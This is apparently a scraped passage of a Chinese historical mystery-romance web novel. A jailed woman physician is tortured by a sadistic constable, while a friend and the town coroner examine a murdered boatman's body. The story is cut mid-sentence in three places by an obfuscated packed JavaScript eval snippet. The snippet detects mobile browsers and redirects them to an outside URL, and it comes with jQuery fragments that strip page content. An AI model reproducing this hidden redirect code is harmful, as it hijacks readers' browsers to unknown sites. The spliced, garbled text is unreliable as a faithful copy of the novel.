他虽不知江楚禾到底出身哪门哪户,亦对她过往经历不甚了解,但凭着这两年与她的相处,还是能从细枝末节处猜到她应出身于国都兴京的官宦世家,且门第似乎不低。 尽管宋福对朱门绣户里的闺阁娘子不甚熟悉,但话本里都说高门千金足不出户,隐名避讳讲究颇多,想来能结识外男的机会应当没有多少。 既然东家说这位郎君是她在兴京的旧识,那想必也是同个圈子里的世家子弟,在面对官爷时铁定比自个儿中用得多。 这下东家可是有救了! 宋福将司徒靖引进屋里,啥也没想就直直跪了下去。 “恩公这是作甚?” “郎君唤小人‘阿福’就好!实不相瞒,昨晚其实是东家为郎君治的伤,小的不过就是打打下手,断不敢冒领‘救命’之功。只是……如今东家……被捕爷带走后情况不明,还求郎君看在东家为您悉心疗伤,又守了一夜的份上,救救她吧!” 宋福说罢便开始磕头,大有一种对方若不答应,他就绝不会停的架势。 “起来说话。”司徒靖赶紧扶住他。 “那……郎君您这是……答应了?”宋福抽了抽鼻子,带着哭腔向司徒靖确认。 他的眼睛生得又圆又大,此时噙着泪,瞧上去就像只可怜的小黄狗。 司徒靖轻叹一口气,将人提了起来,“我定会尽我所能,护她周全。” “多谢郎君!”宋福闻言大喜,准备赶紧跪下再多磕几个。 司徒靖见他右膝一曲,果断出手将人捞起,又道:“莫要多礼,我初来乍到,许多事尚不清楚,还需向你请教一二。” “只要能救东家,阿福任凭郎君差遣!” 见他满脸尽是慷慨赴死的悲壮,司徒靖眉心一抽。 “请问……江……娘子和船夫李全之间究竟有何过节?” 有关上元夜灯会时江楚禾同李全结下梁子的始末,其实他已从水神庙里那对王姓兄妹的口中听过一轮,经过宋福的补充,也算将此事拼凑出了个大概。 简单说来,就是李全在灯会中偶遇阿姎后见色起意,但王富当时恰在码头当值,没有陪在刚到弋陵不久的妹妹身边,便让李全钻了空子,在大庭广众之下竟凭着酒劲,欲对阿姎行不轨之事。 路人都知道李全向来胆大好色,可偏巧身材壮硕得很,一个个也都不敢上前劝阻,反倒对无辜受害的阿姎指指点点起来。 碰巧这时江楚禾路过事发地,见此情形便出手搭救阿姎,顺便还指着李全的鼻子将他骂了个狗血淋头。 李全在街坊四邻的面前丢了大脸,嘴上却不愿示弱,言语交锋间连道自己是饮多了酒所以手脚不够灵便,这才让个小娘们三五下给轻松擒住,绝非是技不如人,为正此名甚至提出不如改日两人约在码头再好好打一架,大有要与她一决雌雄的意思。 醉后约架这种蠢话,江楚禾自然是听过就忘,其实她以前并不认识李全,更遑论与其有什么过节,当夜就是路见不平顺手救个小女娘,过后也没把此事放在心上,任凭坊间将两人“码头决战”一事传得有模有样。 她想,这般离谱的传闻多半只是被大家拿来当做茶余饭后的消遣,想来没人当真,应该也出不了大事,几日后若出现新的谈资,自会被忘得一干二净。 可未曾想,昨晚竟有人从江中捞出了李全的尸首。 如此一来,“曾当街与死者发生冲突并相约决斗”的江娘子自然成为首要嫌犯,真是没处说理! 司徒靖听少年药僮讲罢上元夜的前情,又将自己从王富口中听来的噩耗告知于他,这下宋福坐不住了。 “李全死了?”他直接从小凳上弹跳而起,“那东家岂不是说不清了!” 毕竟“李全向江娘子下战书”这回事可是上元夜的头号谈资,不出两日就跟长腿似地传遍了整个弋陵。 要说这悠悠众口也真是邪门得紧,原本只是李全单方面挑衅,江楚禾根本就没有搭理,可在勾栏酒肆中传着传着就变成两人互看不爽、码头约架,就连她去参加花神会商户遴选时,还有不少好事者追问决斗详情。 真是造谣一张嘴,辟谣跑断腿! “稍安勿躁。” 司徒靖早已习惯将情绪藏在心底慢慢消化,自然也不太会安慰别人,眼下见宋福脸色青一阵白一阵,他一时不知该说些什么,只好就蹦出这么干巴巴的一句,不过他音色低沉、语气镇定,倒还真有些安抚人心的效果。 见宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922991|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福似乎平静了些,司徒靖继续道:“当下还是要多了解些案件的细节才好再做谋划。阿福,你在县衙中可有什么熟人?” 宋福一听,立即挠着头琢磨起来:衙门里的官爷肯定不会和他这种升斗小民有什么来往,书吏捕快们平素与他也并无私交,若是非要找个为县府做事且自己还能搭得上话的人,那恐怕只有…… 可那人的身份是不是有点…… 万一郎君介意起来可咋整? 宋福思来想去总觉得不太合适将那人介绍给司徒靖认识,但眼下又没有旁的门路,只好哆嗦着嘴皮子,犹犹豫豫地开口:“呃……倒是有个……和东家关系不错的阿兄,或许能透些消息给咱,可他不是官差,也算不上什么胥吏。” 和江楚禾关系不错的…… 阿兄? 司徒靖放在膝头的十指略微收紧了些,神色却一如寻常,“无妨,先说来听听。” “就是县里那个……”“且慢。” 宋福刚一开口,却被对方猛地按着肩膀止住话头。 司徒靖迅速站起身,而后用一根食指压了下自己的嘴唇,示意他不要出声,转头抄起旁边的一把油纸伞充作兵器,向门外走去。 以他的耳力断不会听错,宅院的西南角方才突然有一些不同寻常的动静。 他三步并作两步走到声响可疑之处,还未站定便见那不速之客像是刚才从地上爬起来,此时正低头专心拍打着自己的裤腿,褐色短打上还沾着些湿软的泥土,两手也是黑乎乎的,连拍半天之后,非但没有清理干净,反倒将那身本就破烂的裋褐越弄越脏。 司徒靖隔着几丈远观察半天,见那人没有反应,便主动出声:“来者何人?” 对方听到问话才发现面前有人,抬头见到他之后的表情更像是没见过活人一般,张着大嘴愣了半天都没有动静。 司徒靖终于失去耐心,单手执起伞柄,以枪法招式攻了过去。 * 江楚禾正被束着双手,悬吊在县衙的刑室中。 那獐头鼠目的廖捕头则在离她不远的地方,一边哼着难听的地方小调,一边挑选摆弄着手头的刑具,神情专注而充满期待,有如在集市上挑肉一般。 想起肉…… 江楚禾忍不住吞了下口水。 她今日正餐只用过清晨的那碗豆粥,本就垫不了多少肚子,好死不死又馋嘴吃了些开胃生津的梅子干,此时又饿又困,以至于思绪都不太受控地乱飘起来。 这才想起当年曾听父亲讲起在大理寺审讯时常用的一个法子便是这么不给饭吃、不让睡觉,生生将人逼到再没工夫管住脑子时,只要随便用些刑讯手段就能撬开任何人的嘴。 真是悔不当初! 方才就不该同刘县尉磨那老半天的嘴皮子,兴许还能省些力气! 眼下这情形,万一自己在意识模糊之际说出啥要命的话…… 那可不得要命了? 江楚禾猛地一激灵,颤抖的双手带动锁链发出声响。 廖庆循声望去,眼冒精光,显然觉得嫌犯此时“火候”正好,拿起一柄尖头小刀就朝她走去。 “神医娘子,可有兴趣同我聊聊?” 7. 对峙 对于今早出门没翻黄历这件事,牛万金的心里有着一百个后悔。 原本就凭他混饭吃的那个手艺,肯定不能是个迷信的人,但这种事儿就怕个万一。 万一准了,万一看了,万一信了。 自己也不至于被人用一把破伞抵着喉咙,这才跪地求饶惊觉本日诸事不宜吧! “哎呦呦!好汉饶命!好汉饶命啊!”他一边夸张大喊,一边抬起眼皮偷偷去瞧面前的男人。 对方身材魁伟、容貌俊美,举手投足间都尽显优雅自持,同自己往日里见到的那些个武夫糙汉有着天壤之别。 当然,手段也厉害多了。 方才自己见他单手执伞杀过来时,可是以迅雷不及掩耳的速度钻回到狗洞里边的,如此灵活又矫健的身手,如此出其不意的拆招方式,居然被他轻轻松松地给一把提溜出来。 江娘子这儿除了她那个凶神恶煞、邪气冲天的师兄,何时又来了这么一尊玉面邪神? 牛万金上下打量着对方,心道这副俊俏的模样,倒是很符合归元堂招人的一贯风格。 司徒靖见此人既不答话,又不自报家门,还一脸猥琐地盯着自己看,忍不住蹙起眉头问道:“阁下何人?来此所为何事?” 车轱辘话绕来绕去怎么还是这个问题? 牛万金砸吧了下有些发干的双唇,决定不跟这新来的愣头青伙计一般见识。 “这位……呃……壮士!那啥……你是新来的吧?我就是那个阿牛啊!你没听你们东家说过吗?哎,你问下你们江娘子,我是来找她的!就说……阿牛在老地方等她谈谈老生意!” 阿牛。老地方。老生意。 此人竟同她这般亲近! 想到这里,司徒靖执伞的右手已然是青筋毕露。 “她不在,阁下请回吧。” 他此时只惦记着正事,满脑子想的都是该如何把江楚禾从县衙大牢里捞出来,可没心思在这么个钻狗洞的疯癫小子身上瞎耽误工夫。 可对方听了这话却丝毫没有要告辞的意思。 “啊,不是,她真不在啊?” 牛万金见对方将先前抵着他的油纸伞收了回去,知道自己应暂无性命之忧,赶忙从地上爬了起来,一路追着人问,也不管人家是不是搭理自己。 他没得到回应,便权当这是默认。 “难道疤脸张说的是真的?”牛万金小声嘀咕了一句,又向大步流星走在前面的那人确认道:“衙门还真来人把她带走了啊?” “阁下是知晓什么内情么?” 司徒靖猛一回头,吓得牛万金又“扑通”一声跪在了地上。 “郎君?” 宋福见司徒靖神神秘秘的出去,又老半天都没回来,实在是放心不下,这便循着声响跟了过来,还没走出多远,就瞅见他正杀气腾腾地往回走,转头间还有个黑乎乎的人影“咚”地一声跪了下去。 司徒靖高大的体格将那黑影挡得死死的,宋福偏了偏头,这才看清眼前的是谁,赶忙制止了两位的内讧行为。 “郎君莫要动气,都是自己人!” 牛万金见到宋福,心中大喜,也没顾上细咂摸他这句话里对愣头青的那股子恭敬客气。 他忙里忙慌地爬了起来,将声音抬高八度,向面前那有眼无珠的“后辈”耀武扬威道:“看!新来的,我没唬你吧?我和你们东家很熟的,阿福早就认得我了!” 既是友人来访,那为何不走正门,却要爬狗洞? 还来回两次! 这究竟是在哪里学来的规矩? 司徒靖虽然不解,但一想到此人是她的熟识,况且又是自己动手在先,便颇有风度地向对方致歉:“此番是我误会在先,贸然出手多有得罪,望阁下勿怪。” 见他这般识相,牛万金决定不再计较,他随意拱了拱手算作回礼,痛快表示:“好说好说,让你们江娘子再请我吃顿好的便是,上回她做的那个烧鸡就很不错!” 此言一出,司徒靖的脸色又黑了下去,再张口时,就连音色也更冰冷几分:“阁下既与江娘子相熟,径直登门来访便是,若要执意走些不同寻常的路子,也休怪旁人生出误会。” “嘁……你懂个屁!”牛万金很想在这愣头青的漂亮脸蛋上啐口唾沫,让他好生清醒清醒。 真是站着说话不腰疼! 司徒靖一早便看出此人不甚讲究,从其口中听得这般粗鄙之语也并不感到意外,他只是有些想不通,江楚禾究竟瞧中这人哪一点,才交上了这么个朋友? 其实早在两人相识之际,司徒靖就已发现,她并不似常人那般有诸多门第之见。 江楚禾择友多是凭着自己的判断,从不用出身地位这些世俗标准去评判旁人,赤子之心至真至纯。 他爱重她,除却那份男女之间无法用言语解释的莫名吸引,江楚禾的品行才学亦令他由衷地珍之敬之。 既如此…… 他便应当相信她的人品,认可她的判断,尊重她的选择。 司徒靖如此想着,又深吸一口气,拱手行礼:“请阁下赐教。” 牛万金本已准备好起码能连说一炷香都不带重样的脏话,打算好好地教这愣头青如何做人,可对方突然来这么一出,并且态度诚恳、举止优雅,听着也丝毫没有侮辱讽刺的意思,倒是把他给整不会了。 “那啥……你……真不知道我是谁啊?”这话是冲着司徒靖说的,可那双大眼睛滴溜溜转着却是在瞧宋福。 宋福打小胆子就不大,一向不怎么擅长处理冲突,在善堂时就是个闷头被人欺负的可怜虫,从没在吵架时回过嘴;自打来到归元堂后,又因为江楚禾那一个顶俩的剽悍战力,便更加心安理得地躲在东家身后,生存技能可说是愈发生疏,眼下见这俩一个要骂街一个要砍人的架势,自然只会本能地往回缩。 猛地被牛万金拉入战场,他还有些不适应,让那双牛眼睛给瞪了半晌,这才结结巴巴地说了句:“郎君……他……就……就是我说的那位……阿兄……” 和江楚禾关系不错的…… 阿兄么? 司徒靖闻言又上下打量起对方来。 牛万金一缩脖子,顿觉愣头青看着自己的眼神中愈发藏着瘆人的寒意。 这种事情果然靠宋福是靠不住的啊! 他可算明白了江娘子那样年轻漂亮的小女娘为啥在生意场上还要事事都冲在前面,像护犊子似的护着这少年药僮。 这小孩儿确实忒不中用了! “咳!咳!”牛万金清了清嗓子,想着多少还是得说点啥来挽救下自己的小命,“那啥……你外地人吧?嘿嘿,我是咱弋陵的仵作,有点子小事来寻江娘子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922992|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但归元堂好歹也是治病救人的地方,给人瞧见我过来,旁人不得嫌晦气来着,所以我回回都爱走小道……” “她……会让你走……那个门?”司徒靖眼眸微缩,犀利的视线中满是怀疑。 以他对江楚禾的了解,她可不会以身份论人,怎可能作如此要求? “那自然不是!江娘子是嘱咐过我不必去管闲言碎语,找她直接走正门就行,可我又不傻,我白日里走大街上都给人指指点点呢,旁人怎么嫌我,我还能不知道啊?江娘子菩萨心肠,可我也不能不识好歹不是,横竖我爬来爬去早就习惯了,不打紧,不打紧的哈!” 宋福见方才还剑拔弩张的两人似乎已经解开误会,可算是松了口气,忙不迭地说起真正要紧的事情来:“那个……牛阿兄……东家被衙门里的人……带走了……” 牛万金听疤脸张说起要“去归元堂拿人”的时候还当他是喝大了在那瞎吹牛,经宋福这么一确认,立马嚷了出来。 “啊?就廖捕头那个心狠手辣的疯子,江娘子落他手里怎么能受得住!” * “给我继续!” 县衙之中,廖庆正招呼两名捕快为江楚禾上着拶刑。 大梁律法严明、规矩繁多,于断狱一事上更是有诸多限定,明令禁止各级官员滥用拷讯之法。 每年在监察御史巡视期间,除重审疑案外,对犯人有畏刑自诬之嫌的案件亦会格外关注,是以江楚禾起先并不忧心自己会受太多皮肉之苦。 谁承想这捕头廖庆竟是个十足的变态! 刑室内笞杖、手杻、夹棍、拶指、压膝、问板等一应俱全,还有许多连江楚禾都说不上名字的刀具,幸好大梁刑律中写明了对女犯的宽宥之策,即便刑讯逼供也顶多就是夹手指完事,否则她还不知要在此处开什么大眼! “神医娘子,你若再不老实交代,这双治病救人的手……可就要……废了……” 廖庆顶着那张山鼠脸凑到江楚禾耳边,阴阳怪气地“规劝”着她。 “民女方才所说,句句属实,不知还要如何交代。” “继续!” 江楚禾此时双手已全然麻木,只剩火辣辣的灼烧感从十指蔓延全身,一阵怒气直冲脑门,她轻哼一声,继而厉色言道:“又或许……廖捕头想要的并不是民女的口供。” 廖庆闻言抬了抬那两撇又短又粗的黑色倒八字眉。 “看来……是让我说中了?” 其实不出一盏茶的工夫,江楚禾就已发现端倪。 此人看似是在逼供,但注意力却并没放在套话和推理上面,在论及案情时也兴趣缺缺,反倒在旁观江楚禾受刑时显得亢奋无比。 若说在寻常官差眼里,逼供才是目的,用刑只是手段,那么对廖庆而言则恰恰相反。 拷讯只是个由头,眼见旁人受尽折磨才是他的乐趣所在。 惶恐的神情,惊惧的目光,凄厉的叫声,悲痛的哀嚎。 以上种种,光是想象都令廖庆血脉偾张。 可江楚禾偏不肯让他如愿。 她直直地梗着脖子,紧咬牙关怒视着他,即便是咬烂自己的下唇也绝不松口,全程竟不曾发出一声闷哼。 廖庆从未如此刻这般恼怒。 他忍无可忍,抄起手边那柄细长的匕首就朝江楚禾捅了过去。 8. 破绽 江楚禾知道他疯,可也没想到他能疯成这样! 她见廖庆持刀朝自己扑过来时,第一反应便是赶紧闪开,奈何旁边那两位行刑的小衙役当真是眼疾手快,不过眨眼工夫就又将她摁住,连偏个身子的机会都不给她留。 眼看刀尖就这么刺向自己,江楚禾还是不肯就范。 她决定在关键时刻拼上一把。 既然受伤在所难免,不如自己挑一个不算打紧的位置。 如此想着,她在那把匕首捅过来时,用尽全力抬起双手,以拶指将将抵挡一下,算是勉强破解了廖庆的招式。 可他哪里会轻易放弃,慌乱中又是一击,江楚禾来不及闪躲,最终还是伤在了左手腕侧。 “呵,坊间都传江娘子勇武过人,巾帼不让须眉,轻易便能制服那五大三粗的李全,我本还不信。如今看来,竟是我小瞧了你。” 廖庆终于得手,心头可算是舒坦一些,手中把玩着那柄刚见过血的匕首,阴阳怪气地念叨着。 鲜血顺着江楚禾的手臂缓缓流下,她又累又饿,如今还负了伤,实在是没有心思再跟这个疯子纠缠,便任由他在那自说自话。 “我可告诉你,别以为闭口不言就能万事大吉。方才我见你身手好得很,想必也确实有能耐害死那船夫,这便着人替你写供状,你可千万要留一口气……签字画押……” 说着,他拿起匕首沿江楚禾的脸颊慢慢划过。 “啧……别说,你虽然脾气暴躁了些,但这模样倒还真是水灵。如今我已废了你的手,若是再划花你这张脸,嘿嘿,你说……你这娘们是不是就彻底没人要了啊?” 江楚禾一言不发,只是瞪着双眼,狠狠地看着他。 眼看刀尖就要戳进她的面颊,刑室的门突然被人大力推开。 “廖庆!你这是在做什么?” 闻此大喝,他不由一愣,手中刀具掉落在地。 刘亢怒气冲冲地进来,劈头就骂:“跟你说过多少次了,不要随便用刑,不要随便用刑!你怎的就不听?这衙门里见血太多,阴气太盛,是会折损你我阳寿的!” 说着,他挥了挥手,身旁衙役立即会意,扯出一段布料便把江楚禾手腕上的割伤包扎起来。 廖庆则一改方才的凶恶嘴脸,躬着身子毕恭毕敬地回道:“刘县尉息怒,都怪这娘们嘴硬得很,小的不得已才上了些手段,绝非滥用私刑。” 刘亢轻哼一声,倒也没再追究。 他从怀中掏出一方帕子掩了掩口鼻,一脸嫌恶地瞥了眼江楚禾,吩咐道:“先把这娘们扔牢房里去。” 左右两名衙役早就知道这位爷迷信得很,虽任职县尉,可整个衙门里就属他最见不得死伤晦气,眼下得了令,便手脚麻利地把江楚禾手上的拶指取了下来,一人一边架着她,将人拖出去。 刘亢见四下已无外人,这才示意廖庆近前说话,两人神神秘秘地嘀咕半天,不知是在打什么算盘。 待江楚禾缓过劲来,她已在牢房的稻草上瘫了约莫一盏茶的时间。 手臂上的伤口不算严重,眼下已不再流血,但十指的肿痛却愈发明显,若再不处理,怕是真要落下病根。 她小心翼翼地用掌心撑起身体,缓慢挪动到牢房角落,倚着墙壁在怀里胡乱掏着。 临出门时,她特意带了瓶消肿止痛的药膏,虽不如仔细行针后再上药来得有效,但起码还能稍作缓解,若是三五日后能从这里出去,再好好医治应当也是不迟。 可如果出不去…… 那这手废不废的也无所谓了吧。 江楚禾捧着药膏,用红肿的十指捣鼓半天,却始终没能掀开那小小的瓷瓶盖,最后索性将心一横,张嘴把那枚破盖子给叼了下来。 终于抹上冰冰凉凉的药膏,江楚禾发出一阵满意的长叹。 今天可算是有件称心如意的事儿了。 她将这一整天的经历从头捋了一遍,从大早上出门躲人遇到赖延,到想回去留人却扑了个空,然后又莫名其妙被逮进衙门…… 桩桩件件就没有顺心过! 真是追悔莫及! 早知如此,今晨不如就留在医馆等那人醒来,好歹自己被官差抓走后他还能帮衬一把,如今指望宋福那孩子,还能有什么救? 江楚禾想到此处,又自嘲一笑。 自己何时养成这般依赖人的性子了? 都怪那人总是给她一种可以依靠的错觉,害她生出这么些莫名其妙的情绪。 说到底,他们现在又能算是个什么关系呢? * “什么关系……” 司徒靖和那双又黑又圆的牛眼睛对视片刻,心虚地挪开视线。 “我说愣头青……哦不……郎君!”牛万金刚刚才在宋福的“诚恳建议”下不情不愿地改了口,话到嘴边还有些生疏,“你一个来路不明的外乡人,又不肯说自己同江娘子是啥关系,我怎么敢跟你搭伙去管江娘子的事情?万一你要对她不利,那我岂不是好心做了坏事?” “她……日前才救过我的性命,此事阿福也知晓,我定不会害她的,请牛仵作放心。” “嘁……” 牛万金瞥一眼尚在炉灶旁忙活着的宋福,后者正在他的强烈要求下“弄些吃食”。 “我说,被江娘子救过算是什么稀罕事情?这弋陵县城里被她救过的人起码得有百十来个,不瞒你说,我跟宋福都是两年前宁州大疫时让她给捡回的命。” 司徒靖垂首沉默。 是了,自己不过就是她出于医者仁心顺手捡回的一条命。 有什么稀罕? 又哪来的立场去插手她的事情? 他越发觉得怀中荷囊里包裹着的那对同心佩烫得厉害,直烧得他心口发疼。 但若是按宋福提议的那样,修书一封请青囊山庄的那位少庄主回来主持大局…… 宁、郾两州虽然相邻,可自弋陵出发到郾州境内单程也需七、八日,就算飞鸽传书后那边即刻动身,待少庄主亲临此地,恐怕也得要近十日的时间。 如今江楚禾身陷囹圄,每一刻都是折磨,断不能如此拖延。 他轻叹一口气,对牛万金道:“若是我说……她的父亲曾将她托付于我呢?” 哈?这可是个新鲜事儿! 牛万金上下打量着对方,眼里净是怀疑。 他与江楚禾结识已有两年,可从没听她说过爹娘的事,还当江娘子同他和宋福一样,是个吃百家饭长大的孤儿呢! “真的假的……你可别唬我!” “我可以项上人头担保。” 这话说的…… 牛万金回忆起方才这人执伞袭来的模样,不由打起寒战。 “你那颗漂亮脑袋,我可没本事取!”他将杯中剩茶一饮而尽,又嚼了几口宋福刚端上来的鸡腿,含含糊糊地问道:“你先说说看,我能帮上什么忙?” “我想见死者。” “你想见啥玩意?”牛万金险些将鸡腿掉在桌上。 “怎么,不方便?” “倒也不是……” 县衙之中原本应有专门存放尸体的地方,可刘亢担心“那些不干净的东西”会影响公廨的风水,特意让牛万金在义庄辟出一部分屋子用作县衙的停尸房,一应事项都由他这个仵作全权负责,自然是方便得很。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922993|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是…… 牛万金满腹狐疑:“你……看他干啥?” “验尸。” 愣头青居然敢质疑老子的手艺? 眼见牛眼睛刚瞪起来,司徒靖又补充道:“我有一猜想尚需验证,还请牛仵作行个方便。” 说着,他起身向牛万金恭敬地行了个礼。 “行吧……”牛万金恶狠狠地咬了口鸡腿肉。 他瞧愣头青是越发不顺眼了。 这人一脸无悲无喜四大皆空,可偏偏三两句话就能轻易惹毛自己,待他试图反击时,那人滴水不漏的回应又让他像是一拳头打在棉花上。 真是分外不爽! 他猛嚼两口,将嘴里的鸡肉囫囵吞下,还不忘再讨些口头便宜:“我说你会验尸吗?这可不是能随便瞎糊弄的事情!” 听见如此质疑,司徒靖却丝毫不恼,他微微颔首,谦虚答道:“略知一二。” 直到将人带回义庄,牛万金还对这个回答将信将疑。 他能这么想,倒并非是因仵作一行的门道有多么高深,主要还是这营生向来遭人嫌弃,没有什么外人愿意沾染,多半要靠仵作之家代代传承,久而久之便成了父传子的家学手艺,一般人还真没机会接触。 要不是当年牛万金在街上打滚时稀里糊涂地被那老仵作捡回家,怕是也没机会端起这个饭碗。 也正因如此,当初江娘子露这一手的时候,可是让他好生吃惊了一把。 牛万金眼睁睁看着对方将李全的尸首来回检查一遍,瞧上去倒是像模像样,就是不知有没有验出什么端倪。 “喂!你究竟会不会?我可警告你,别随便挑战老子吃饭的本事啊!” 司徒靖抬头看了眼正在一边盘腿蒸醋,活像是个监工的牛万金,像没听出他言语中的挑衅一般,语气平淡地回复:“死者男,年约二十五,身长约七尺七寸。” 监工点了点头示意他继续。 “死者嘴部张开,口舌外伸,气道残留些许粘稠物,颈部有黑紫色勒痕,下.身……”司徒靖撩起李全的衣裤看了一眼,又蹙着眉默默放下,“残留部分……排泄物。” 牛万金见他似乎难掩不适,终于有些扳回一城的得意,忍不住嘿嘿一笑。 司徒靖却全无羞恼之意,转头继续言道:“死者虽自水中打捞而出,但并无溺毙症状,应是被人勒死后抛尸江中,死亡时间约在正月十八亥时到子时之间。” 他想起宋福曾经说过,江楚禾自上元节的次日起便因花神会商户遴选而前往县衙指定的客栈中居住,直到正月十九亥时才离开。 在宁州,二月十二的花朝节是除正旦外最盛大的节日,又因恰逢春光明媚、百花竞放,于“花都”弋陵也是绝佳的宣传机会,因而本地每三年都会在当日举办一次花神会,届时将有不少外地商队与游客前来捧场,甚至还会有南洋诸国商人慕名而来凑个热闹。 宁州刺史陶晋早先就特意上过奏疏,称“为扬我国威,在对花神会大肆操办的同时还要严审参会商户的资质,并将入围者集中管理以教授规矩”。 在此期间既是封闭管理,应均有专人看守,她显然并无作案时机。 而且死者李全体格壮硕,江楚禾虽会些功夫,但能制住他一时便罢,一旦露出杀意,李全必定拼死反抗,在两人力量的悬殊对比之下,要想得手恐怕并不容易。 何况,她身为女医应当有不少更隐蔽的杀人手段,怎可能选择勒死对方这般费劲又显眼的行凶方式? 司徒靖想,此案有如此大的破绽,若牛万金据实填了验状,便是再糊涂的官差也该看得出江楚禾并无嫌疑。 除非…… 9. 关窍 看司徒靖蹙眉抿唇,半晌都不见动静,牛万金不免觉得有些无聊,在连打两个哈欠后,骨子里爱挑事的本性又开始蠢蠢欲动。 他脑子一热,捡起被用秃的毛笔,随手就朝那人捣去,“喂!我说你究竟行不行?别是被吓傻了吧?” 眼看笔头的脏污就要沾上对方的衣袖,那人脚下未有半分挪动,身形却如鬼魅般一闪,与破空袭去的“武器”堪堪擦过。 牛万金顿觉眼前一花,还没来得及看清到底发生了什么,一道黛紫虚影就忽地出现,紧接着手腕处猛然传来一阵剧痛,让他瞬间脱力。 “啪!”竹制笔杆摔落在地。 牛万金“嗷”地叫出声来,下意识就要用另一只手去扒拉锢住自己的那只大掌,不想却被顺势擒住,再也动弹不得。 他惊骇抬头,正对上司徒靖的视线。 只见先前还不见悲喜的那双眸子此刻已如冰封,而潜藏在那墨色寒潭之下的,竟是掩饰不住的杀意! 混迹街头而长出的生存经验让他很快就意识到事情的严重性,浑身的汗毛都被激得竖立起来。 牛万金来不及思考,几乎是本能地求饶起来:“哎呦,祖宗诶!小的就是手贱闹着玩!您千万别跟小的计较!对不住!我的爷!您大人有大量,就把小的当个屁放了吧!小的再也不敢了!” 他的语速快得有如炒豆一般,生怕多耽搁几息就会落个身首分离的下场。 司徒靖看着对方脸上毫不作伪的惊惧与讨好,渐渐隐去眼底锋芒,一言不发地松开手。 腕间禁锢刚一解除,牛万金立刻揉着痛处后退几步,心有余悸地瞄向对方,却见那人已经转过身去,将目光重新投向验尸台上的李全。 他瑟缩在殓房角落,看着神色如常的司徒靖,不禁怀疑方才种种都是自己的幻觉。 直至一道男声突然响起。 “抱歉,是我反应过度。” 他的声音清冷无波,好似不带情绪,但那双墨色眼瞳中流露出的却是十足的真诚。 牛万金心下震动。 打从他因“三王之乱”而家破人亡,一路颠沛流离南逃至此,旁人给他的眼神有同情、有奚落、有鄙夷、有嫌恶,当他在街上摸爬滚打,从一次次被欺辱的经历中逐渐学会反击后,那些眼神又多了惧怕和挑衅,唯独缺少那种仅仅将他视作一个人的,纯粹的平视。 在牛万金看来,那才是他想要的,被当成一个人的感觉。 而上一回他有这种感受,还是两年前遇见江楚禾的时候。 当时宁州疫病成灾,官府无从控制,权衡再三后只好下令将重症患者圈禁于善堂之中,表面说是为防止病气蔓延,实际上却直接断了药物,让他们在善堂自生自灭。 不久后,江楚禾奉师命赶来此地支援,一听说官府竟做出如此决策,当即立下生死状,不顾自身安危就住进善堂救人,最终硬是把那数十口性命垂危的百姓从阎王爷手中抢了回来。 其中就有牛万金。 那时正值他最自暴自弃的时候,对待江楚禾的救治很不配合,而她却以“人命可贵,价值千金”苦苦相劝,直至牛万金说出“自己左右不过一条贱命,活着也是受尽白眼,倒不如死了痛快”,这位神医娘子才头一回发了脾气。 “每个人的性命都是同样宝贵的!”她立时板起脸,严厉训道:“你作践自己,那些人就会更轻贱你!若你将自个儿当成宝贝,没人能真正剥夺你生命的价值!” 说罢,她指示宋福扒着嘴将汤药尽数给他灌了下去,牛万金自此重获新生。 想起江楚禾,以及她眼下的遭遇,他立时失去玩闹的心思,一屁股就从地上爬起来,“没事!没事!刚纯粹是我手贱!咱不提了!就是……那啥……咱还是继续正事……吧……” 见他如此,司徒靖微微颔首,指向死者的手臂,“死者生前曾与人搏斗,手臂留有淤青,而且……” “而且什么?” 牛万金见他突然断句在此,料想对方也已发现其中的不同寻常,又大着胆子凑到近前。 “此处可见死者有肌肉萎缩的先兆,但他体格健壮,又以船工为业,按理说并不该身患此病。” 牛万金紧盯着他,满心欢喜地期盼着,最好下一句就能解开疑惑。 然而…… 司徒靖却道:“其中缘由,我还未想明白,请牛仵作指点。” 指点个屁! 牛万金难掩失望,转身坐回到蒸醋的桌子上,拍着大腿抱怨道:“我就是觉得这点不对劲,所以才想着去找江娘子问问,看是不是啥稀罕的病症,谁知……唉!” 说到这里,他看着司徒靖的脸色又阴沉下去,只好赶紧噤声。 哪怕牛万金的脑筋再迟钝、再不顶事,如今也已发现端倪:每当自己提起江娘子,愣头青那张臭脸就会变得更骇人些。 他颇有眼色地换了个话题:“你之前不是说有个猜想需要验证,现在咋样?” 司徒靖沉吟片刻,不答反问:“不知此案凶器可有确定?” 哈?这和我问你的事有关系么? 